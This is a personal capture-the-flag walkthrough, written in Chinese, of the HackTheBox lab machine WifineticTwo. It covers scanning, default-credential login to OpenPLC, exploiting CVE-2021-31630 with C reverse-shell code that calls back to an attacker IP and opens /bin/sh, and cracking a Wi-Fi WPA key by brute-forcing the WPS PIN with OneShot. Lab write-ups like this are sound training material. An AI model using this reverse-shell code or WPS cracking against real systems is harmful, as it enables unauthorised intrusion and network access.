

# WifineticTwo(完成)

```
└─# nmap -sCV 10.10.11.7
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-17 08:35 EDT
Nmap scan report for 10.10.11.7
Host is up (0.27s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
8080/tcp  open  http-proxy  Werkzeug/1.0.1 Python/2.7.18
| http-title: Site doesn't have a title (text/html; charset=utf-8).
|_ Requested resource was http://10.10.11.7:8080/login
|_ http-server-header: Werkzeug/1.0.1 Python/2.7.18
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 404 NOT FOUND
|     content-type: text/html; charset=utf-8
|     content-length: 232
|     vary: Cookie
|     set-cookie:
session=eyJfcGVybWFuZW50Ijp0cnVlfQ.ZfbjnA.6OZFslRvx7VGXQurHpI16Rbx004; Expires=Sun,
17-Mar-2024 12:40:40 GMT; HttpOnly; Path=/
|     server: Werkzeug/1.0.1 Python/2.7.18
|     date: Sun, 17 Mar 2024 12:35:40 GMT
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL
manually please check your spelling and try again.</p>
|   GetRequest:
|     HTTP/1.0 302 FOUND
|     content-type: text/html; charset=utf-8
|     content-length: 219
|     location: http://0.0.0.0:8080/login
|     vary: Cookie
|     set-cookie:
```

```
session=eyJfZnJlc2giOmZhbn1LCJfcGVybWFuZW50Ijp0cnVlfQ.Zfbjmg.86HveU9JHoaZrXhVJqAOdejp
gVE; Expires=Sun, 17-Mar-2024 12:40:38 GMT; HttpOnly; Path=/
|   server: Werkzeug/1.0.1 Python/2.7.18
|   date: Sun, 17 Mar 2024 12:35:38 GMT
|   <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
|   <title>Redirecting...</title>
|   <h1>Redirecting...</h1>
|   <p>You should be redirected automatically to target URL: <a
href="/login">/login</a>. If not click the link.
|   HTTPOptions:
|   HTTP/1.0 200 OK
|   content-type: text/html; charset=utf-8
|   allow: HEAD, OPTIONS, GET
|   vary: Cookie
|   set-cookie:
session=eyJfcGVybWFuZW50Ijp0cnVlfQ.Zfbjmw.0EX8akVrIxQ0EJxT7MrjrvM6aGE; Expires=Sun,
17-Mar-2024 12:40:39 GMT; HttpOnly; Path=/
|   content-length: 0
|   server: Werkzeug/1.0.1 Python/2.7.18
|   date: Sun, 17 Mar 2024 12:35:39 GMT
|   RTSPRequest:
|   HTTP/1.1 400 Bad request
|   content-length: 90
|   cache-control: no-cache
|   content-type: text/html
|   connection: close
|   <html><body><h1>400 Bad request</h1>
|   Your browser sent an invalid request.
|_   </body></html>
1 service unrecognized despite returning data. If you know the service/version, please
submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.94SVN%I=7%D=3/17%Time=65F6E39B%P=x86_64-pc-linux-gnu%r
SF:(GetRequest,24C,"HTTP/1\0\020302\020FOUND\r\ncontent-type:\020text/htm
SF:l;\020charset=utf-8\r\ncontent-length:\02019\r\nlocation:\020http://0\
SF:.0\0\0:8080/login\r\nvary:\020Cookie\r\nset-cookie:\020session=eyJfZn
SF:Jlc2giOmZhbn1LCJfcGVybWFuZW50Ijp0cnVlfQ.Zfbjmg\020.86HveU9JHoaZrXhVJqAOd
SF:ejpgVE;\020Expires=Sun,\02017-Mar-2024\02012:40:38\020GMT;\020HttpOnly;
SF:\020Path=/\r\nserver:\020Werkzeug/1\0\0.1\020Python/2\0\0.7\0\0.18\r\n\ndate:\x
SF:20Sun,\02017\020Mar\0202024\02012:35:38\020GMT\r\n\r\n<!DOCTYPE\020HTML
SF:\020PUBLIC\020"\020-//W3C//DTD\020HTML\0203\020.2\020Final//EN">\n<title>Red
SF:irecting\020\020\020</title>\n<h1>Redirecting\020\020\020</h1>\n<p>You\020should\020
SF:0be\020redirected\020automatically\020to\020target\020URL:\020<a\020hre
SF:f="/login">/login</a>\020\020If\020not\020click\020the\020link\020.")%
```

```
SF:r(HTTPOptions,14E,"HTTP/1\0\200\200K\r\ncontent-type:\20text/html
SF:;\20charset=utf-8\r\nallow:\20HEAD,\20OPTIONS,\20GET\r\nvary:\20Co
SF:okie\r\nset-cookie:\20session=eyJfcGVybWFuZW50Ijp0cnVlfQ\Zfbjmw\0EX8
SF:akVrIxQ0EJxT7MrjrvM6aGE;\20Expires=Sun,\2017-Mar-2024\2012:40:39\20
SF:GMT;\20HttpOnly;\20Path=/\r\ncontent-length:\200\r\nserver:\20Werkz
SF:eug/1\0\1\20Python/2\7\18\r\ndate:\20Sun,\2017\20Mar\202024\2
SF:012:35:39\20GMT\r\n\r\n")%r(RTSPRequest,CF,"HTTP/1\1\20400\20Bad\2
SF:0request\r\ncontent-length:\2090\r\nCache-control:\20no-cache\r\ncont
SF:ent-type:\20text/html\r\nconnection:\20close\r\n\r\n<html><body><h1>4
SF:00\20Bad\20request</h1>\nYour\20browser\20sent\20an\20invalid\20
SF:request\.\n</body></html>\n")%r(FourOhFourRequest,224,"HTTP/1\0\20404
SF:\20NOT\20FOUND\r\ncontent-type:\20text/html;\20charset=utf-8\r\ncon
SF:tent-length:\20232\r\nvary:\20Cookie\r\nset-cookie:\20session=eyJfcG
SF:VybWFuZW50Ijp0cnVlfQ\ZfbjnA\60ZFs1Rvx7VGXQurHpI16Rbx004;\20Expires=S
SF:un,\2017-Mar-2024\2012:40:40\20GMT;\20HttpOnly;\20Path=/\r\nserver
SF::\20Werkzeug/1\0\1\20Python/2\7\18\r\ndate:\20Sun,\2017\20Mar\
SF:x202024\2012:35:40\20GMT\r\n\r\n<!DOCTYPE\20HTML\20PUBLIC\20\"-//W
SF:3C//DTD\20HTML\203\2\20Final//EN\">\n<title>404\20Not\20Found</ti
SF:tle>\n<h1>Not\20Found</h1>\n<p>The\20requested\20URL\20was\20not\2
SF:0found\20on\20the\20server\.\20If\20you\20entered\20the\20URL\
SF:x20manually\20please\20check\20your\20spelling\20and\20try\20aga
SF:in\.\n</p>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Service detection performed. Please report any incorrect results at

<https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 50.90 seconds

```
└─# whatweb http://10.10.11.7:8080/
http://10.10.11.7:8080/ [302 Found] Cookies[session], Country[RESERVED][ZZ],
HTTPServer[Werkzeug/1.0.1 Python/2.7.18], HttpOnly[session], IP[10.10.11.7],
Python[2.7.18], RedirectLocation[http://10.10.11.7:8080/login], Title[Redirecting...],
Werkzeug[1.0.1]
```

8080Port是網站(OpenPLC Webserve) · 帳密為系統預設

user : openplc

passwd : openplc

找到反彈shell漏洞(CVE-2021-31630)

<https://www.exploit-db.com/exploits/49803>

執行有失敗

```
(root@kali)-[~/hackthebox/WifineticTwo]
# python3 exploit.py -u http://10.10.11.7:8080 -l openplc -p openplc -i 10.10.14.48 -r 9999
[+] Remote Code Execution on OpenPLC_v3 WebServer
[+] Checking if host http://10.10.11.7:8080 is Up ...
[+] Host Up! ...
[+] Trying to authenticate with credentials openplc:openplc
[+] Login success!
[+] PLC program uploading ...
[+] Attempt to Code injection ...
[+] Spawning Reverse Shell ...
[+] Failed to receive connection :(
```

找到網頁有反彈相關資訊

The screenshot shows the OpenPLC web interface. On the left is a sidebar with navigation links: Dashboard, Programs, Slave Devices, Monitoring, Hardware (highlighted), Users, Settings, and Logout. Below the sidebar, it says 'Status: Running' and has a 'Stop PLC' button. The main content area is titled 'OpenPLC Hardware Layer' and shows a dropdown menu set to 'Blank Linux'. Below this is the 'Hardware Layer Code Box' with a description: 'The Hardware Layer Code Box allows you to extend the functionality of the current your hardware'. A code editor shows a C program snippet for a reverse shell:

```
31 {
32 }
33 }
34
35
36 void updateCustomOut()
37 {
38     int port = 9999;
39     struct sockaddr_in revsockaddr;
40
41     int sockt = socket(AF_INET, SOCK_STREAM, 0);
42     revsockaddr.sin_family = AF_INET;
43     revsockaddr.sin_port = htons(port);
44     revsockaddr.sin_addr.s_addr = inet_addr("10.10.14.48");
45
46     connect(sockt, (struct sockaddr *) &revsockaddr,
47             sizeof(revsockaddr));
48     dup2(sockt, 0);
49     dup2(sockt, 1);
50     dup2(sockt, 2);
51
52     char * const argv[] = {"/bin/sh", NULL};
53     execve("/bin/sh", argv, NULL);
54 }
```

重啟還是存檔也有問題(以為可以~反彈成功..)

找到相關資訊，但還須測試

[https://www.youtube.com/watch?v=l08DHB08Gow&ab\\_channel=FellipeOliveira](https://www.youtube.com/watch?v=l08DHB08Gow&ab_channel=FellipeOliveira)

修改session，file值(值就已原本套件不需調整漏洞指令)

```
compile_program = options.url + '/compile-program?file=blank_program.st'
run_plc_server = options.url + '/start_plc'
user = options.user
password = options.passw
rev_ip = options.rip
rev_port = options.rport
x = requests.Session()

def auth():
    print('[+] Remote Code Execution on OpenPLC_v3 WebServer')
    time.sleep(1)
    print('[+] Checking if host '+host+' is Up ... ')
    host_up = x.get(host)
    try:
        if host_up.status_code == 200:
            print('[+] Host Up! ... ')
    except:
        print('[+] This host seems to be down :( ')
        sys.exit(0)

    print('[+] Trying to authenticate with credentials '+user+':'+password+')
    time.sleep(1)
    submit = {
        'username': user,
        'password': password
    }
    x.post(login, data=submit)
    response = x.get(upload_program)

    if len(response.text) > 30000 and response.status_code == 200:
        print('[+] Login success!')
        time.sleep(1)
    else:
        print('[x] Login failed :( ')
        sys.exit(0)

def injection():
    print('[+] PLC program uploading... ')
    upload_url = host + "/upload-program"
    upload_cookies = {"session": ".eJw9j0FuwjAUBa9Sed1NnLCJxALkEBXpP4voK1G8QW1w67hxiAKo1Ii7l3bRA8xo5ib277M9OZGf54t9FvV-IPKbeHoTuWg9HOJ2oJK-jv8lYPQoNz1JuhpPX8TrAXxwRq2uRu0WFNe0Qu11g2DUxpF8SaipnVYfCULlISmDN874LjMBgbh2aIpFG4vMcCERKUJtPUo82GpAbDPEItWq6rVqE0h8gn99bWq4CuAu1byLmrulud_aJzuH19G05_-by8n0f0vi0NlxGjpx_wGPDk_r.ZfqE6g.nhCYNvs10FTZIRtgW7R2L6o448M"}
    upload_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept":
```

直接提全root =="

```
root@kali:~/hackthebox/WifineticTwo
python3 exploit.py -u http://10.10.11.7:8080 -l openplc -p openplc -i 10.10.14.9 -r 9999
[*] Remote Code Execution on OpenPLC_v3 WebServer
[*] Checking if host http://10.10.11.7:8080 is Up ...
[*] Host Up! ...
[*] Trying to authenticate with credentials openplc:openplc
[*] Login success!
[*] PLC program uploading...
[*] Attempt to Code injection...
[*] Spawning Reverse Shell ...

root@kali:~# nc -l -p 9999
listening on [any] 9999 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.11.7] 33884
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux attica02 5.4.0-173-generic #191-Ubuntu SMP Fri Feb 2 13:55:07 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
```

但進入root只有user.txt

```
cd root
ls
user.txt
cat user.txt
16795b0f3fc3d48c08b768f12872c8bf
```

ifconfig 怪怪的，沒有IP資訊但帶出wlan0

```
root@attica02:/tmp# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 10.0.3.3 netmask 255.255.255.0 broadcast 10.0.3.255
    inet6 fe80::216:3eff:febf:30c8 prefixlen 64 scopeid 0x20<link>
    ether 00:16:3e:fb:30:c8 txqueuelen 1000 (Ethernet)
    RX packets 51626 bytes 5708664 (5.7 MB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 44798 bytes 7370362 (7.3 MB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

```
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 5716 bytes 452392 (452.3 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 5716 bytes 452392 (452.3 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

```
wlan0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
    ether 02:00:00:00:03:00 txqueuelen 1000 (Ethernet)
    RX packets 0 bytes 0 (0.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 0 bytes 0 (0.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

```
root@attica02:/tmp# netstat -tunlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:43628         0.0.0.0:*               LISTEN      4208/sh
tcp        0      0 0.0.0.0:8080           0.0.0.0:*               LISTEN      175/python2.7
tcp        0      0 127.0.0.53:53          0.0.0.0:*               LISTEN      168/systemd-resolve
udp        0      0 127.0.0.53:53          0.0.0.0:*               168/systemd-resolve
udp        0      0 10.0.3.44:68           0.0.0.0:*               156/systemd-network
```

chatgpt找到相關指令

```
root@attica02:/tmp# iw dev wlan0 scan
BSS 02:00:00:00:01:00(on wlan0)
    last seen: 7891.912s [boottime]
    TSF: 1710918804743629 usec (19802d, 07:13:24)
    freq: 2412
    beacon interval: 100 TUs
    capability: ESS Privacy ShortSlotTime (0x0411)
    signal: -30.00 dBm
    last seen: 0 ms ago
    Information elements from Probe Response frame:
    SSID: plcrouter
    Supported rates: 1.0* 2.0* 5.5* 11.0* 6.0 9.0 12.0 18.0
    DS Parameter set: channel 1
    ERP: Barker_Preamble_Mode
    Extended supported rates: 24.0 36.0 48.0 54.0
    RSN:
        * Version: 1
        * Group cipher: CCMP
        * Pairwise ciphers: CCMP
        * Authentication suites: PSK
        * Capabilities: 1-PTKSA-RC 1-GTKSA-RC (0x0000)
    Supported operating classes:
        * current operating class: 81
    Extended capabilities:
        * Extended Channel Switching
        * SSID List
        * Operating Mode Notification
    WPS:
        * Version: 1.0
        * Wi-Fi Protected Setup State: 2 (Configured)
        * Response Type: 3 (AP)
        * UUID: 572cf82f-c957-5653-9b16-b5cfb298abf1
        * Manufacturer:
        * Model:
        * Model Number:
        * Serial Number:
        * Primary Device Type: 0-00000000-0
        * Device name:
        * Config methods: Label, Display, Keypad
        * Version2: 2.0
```




wlan0 exploit有跟多關於wifi漏洞

wlan0 exploit


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約有 52,200 項結果 (搜尋時間：0.24 秒)

 HackTricks  
<https://book.hacktricks.xyz/pentesting-wifi>


### Pentesting Wifi - HackTricks

2024年2月7日 — An evil twin attack **exploits** the way **WiFi** clients recognize networks, primarily relying on the network name (ESSID) without requiring the base ...

 Cybernews  
<https://cybernews.com/Security/> 翻譯這個網頁

### New WiFi vulnerabilities allow attackers to fake and ...

2024年2月22日 — "The wpa\_supplicant **vulnerability** allows a bad actor to trick their victim into automatically connecting to a malicious clone of a trusted **WiFi** ...

 Exploit-DB  
<https://www.exploit-db.com/exploits/> 翻譯這個網頁

### WiFi Mouse 1.7.8.5 - Remote Code Execution

2021年3月1日 — **WiFi** Mouse 1.7.8.5 - Remote Code Execution.. remote **exploit** for Windows platform.

找到Reaver 破解 WPS 文件



wlan0 wps wifi exploit



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約有 261,000 項結果 (搜尋時間：0.27 秒)



LinkedIn

<https://www.linkedin.com/posts/cyb...> · 翻譯這個網頁

## How to crack Wi-Fi networks with Reaver | David Glance ...

2023年10月20日 — Latest article on #HackTheBox authored with Ayush Sahay (felamos) from the **Hack** The Box team. Using **Hack** The Box machine Wifinetic to ...

缺少字詞：wlan0 | 必須包含以下字詞：wlan0



Outpost24

<https://outpost24.com/Blog> · 翻譯這個網頁

## WPS Cracking with Reaver

2020年2月21日 — Here we will take a look at one of the methods used to crack into a WPA network, and some of the pitfalls you may encounter. **WPS** Pin Attack. An ...



Wi-Fi Alliance

<https://www.wi-fi.org/discover-wi-fi> · 翻譯這個網頁

## Wi-Fi Protected Setup

<https://outpost24.com/blog/wps-cracking-with-reaver/>

使用失敗 ·

```
root@attica02:/tmp# reaver -i mon0 -c 6 -b 02:00:00:00:01:00 -vv -L -N -d 15 -T .5 -r 3:15
bash: reaver: command not found
```

看是否有py黨直接執行

<https://github.com/kimocoder/OneShot>

Launch online WPS bruteforce with the specified first half of the PIN:

```
sudo python3 oneshot.py -i wlan0 -b 00:90:4C:C1:AC:21 -B -p 1234
```



Start WPS push button connection:s

```
root@attica02:/tmp# python3 oneshot.py -i wlan0 -b 02:00:00:00:01:00 -K
python3: can't open file '/tmp/oneshot.py': [Errno 2] No such file or directory
root@attica02:/tmp# python3 neshot.py -i wlan0 -b 02:00:00:00:01:00 -K
[*] Running wpa_supplicant...
[*] Running wpa_supplicant...
[*] Trying PIN '12345670'...
[*] Scanning...
[*] Authenticating...
[+] Authenticated
[*] Associating with AP...
[+] Associated with 02:00:00:00:01:00 (ESSID: plcrouter)
[*] Received Identity Request
```

```

[*] Sending Identity Response...
[*] Received WPS Message M1
[P] E-Nonce: F9A522B88A7CC6C4AFEEB9162FA56FD1
[*] Sending WPS Message M2...
[P] PKR:
6B7C69F07B530B9237B23F82754CB60E60D6D62D0260BDACD82990563C0EF6F29F29B2521E4F71ED9572B6
2DAF897C1377314DE75D34D44E3D59ADA93B7856DB7CB2A8A42E15C83604B5F8541B2B74764F53521B62CE
7138FD055C4482653388B5692B0A8F9839CFB36531F65B8B04A54119BE00CE4AF856B4CE28F0AB94E1BC43
59D14D9E61D181968D8D090449DADE4ADDE22DBEE82ABF9A4CF6E226445D89F1DCCCF68026EFE9FA8CD847
C5068DB1C59C5EEF612F7ABDC393E9019A1757AC
[P] PKE:
99D9474EA98C350EF2F6B462D82802D2C4FC433E35660B809EA291301C08B636A64AA87B17613D3553DD
6B2C35614D80D71B3997FD0A007B5E934F7899CEDB7FD391D2CCD183037611F7176665117E1EEC6860782B
E97C9C53C270F190DE959B74C15163A59775DD8935D2C918EE543E293F249ABFC0E0FF4F6BF639D4889AE5
1FA31038061006CCF95FF6872C66F4DA75EDB956DBB3641B1240CF8798D38E20835B699122A82CAA11BC06
EB125C562A495D0EA6B1A41D38D1EBD846BDA8D9
[P] AuthKey: 763D62D3A429DF3111D1D5A646CED130D463A3ADCE03B4963AA2476B7561968B
[*] Received WPS Message M3
[P] E-Hash1: CE27943683128D37C1D341CB387DFB1E5ADFCF116A18AE1BDCBE4C8712C34818
[P] E-Hash2: 4CDB570D4EA683853E8DF073924F2BA4006C7E40779B5BDE72B014AB3144D34D
[*] Sending WPS Message M4...
[*] Received WPS Message M5
[+] The first half of the PIN is valid
[*] Sending WPS Message M6...
[*] Received WPS Message M7
[+] WPS PIN: '12345670'
[+] WPA PSK: 'NoWWEDoKnowWhaTisReal123!'
[+] AP SSID: 'plcrouter'

```

進行wpa\_passphrase["plcrouter" 使用的是WPA/WPA2加密"]

```

root@attica02:/tmp# wpa_passphrase plcrouter 'NoWWEDoKnowWhaTisReal123!' > config
root@attica02:/tmp# cat config
network={
    ssid="plcrouter"
    #psk="NoWWEDoKnowWhaTisReal123!"
    psk=2bafe4e17630ef1834eaa9fa5c4d81fa5ef093c4db5aac5c03f1643fef02d156
}

```

```

root@attica02:/tmp# wpa_supplicant -B -c config -i wlan0
Successfully initialized wpa_supplicant
rfkill: Cannot open RFKILL control device
rfkill: Cannot get wiphy information
nl80211: Could not set interface 'p2p-dev-wlan0' UP
nl80211: deinit ifname=p2p-dev-wlan0 disabled_11b_rates=0
p2p-dev-wlan0: Failed to initialize driver interface
p2p-dev-wlan0: CTRL-EVENT-DSCP-POLICY clear_all
P2P: Failed to enable P2P Device interface

root@attica02:/tmp# ifconfig wlan0 192.168.1.7 netmask 255.255.255.0
root@attica02:/tmp# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
    inet 10.0.3.3  netmask 255.255.255.0  broadcast 10.0.3.255
    inet6 fe80::216:3eff:fe3b:30c8  prefixlen 64  scopeid 0x20<link>
    ether 00:16:3e:fb:30:c8  txqueuelen 1000  (Ethernet)
    RX packets 57316  bytes 6159463 (6.1 MB)
    RX errors 0  dropped 0  overruns 0  frame 0
    TX packets 47980  bytes 7764690 (7.7 MB)
    TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
    inet 127.0.0.1  netmask 255.0.0.0
    inet6 ::1  prefixlen 128  scopeid 0x10<host>
    loop txqueuelen 1000  (Local Loopback)
    RX packets 5716  bytes 452392 (452.3 KB)
    RX errors 0  dropped 0  overruns 0  frame 0
    TX packets 5716  bytes 452392 (452.3 KB)
    TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
    inet 192.168.1.7  netmask 255.255.255.0  broadcast 192.168.1.255
    ether 02:00:00:00:03:00  txqueuelen 1000  (Ethernet)
    RX packets 1641  bytes 225856 (225.8 KB)
    RX errors 0  dropped 0  overruns 0  frame 0
    TX packets 1268  bytes 260368 (260.3 KB)
    TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

```

進行Ping Random會解出可用IP再進行ssh

```

for i in {1..255}; do
    IP="192.168.1.$i";
    ping -c 1 "$IP" &>/dev/null && echo $IP "sussecc";
done

```

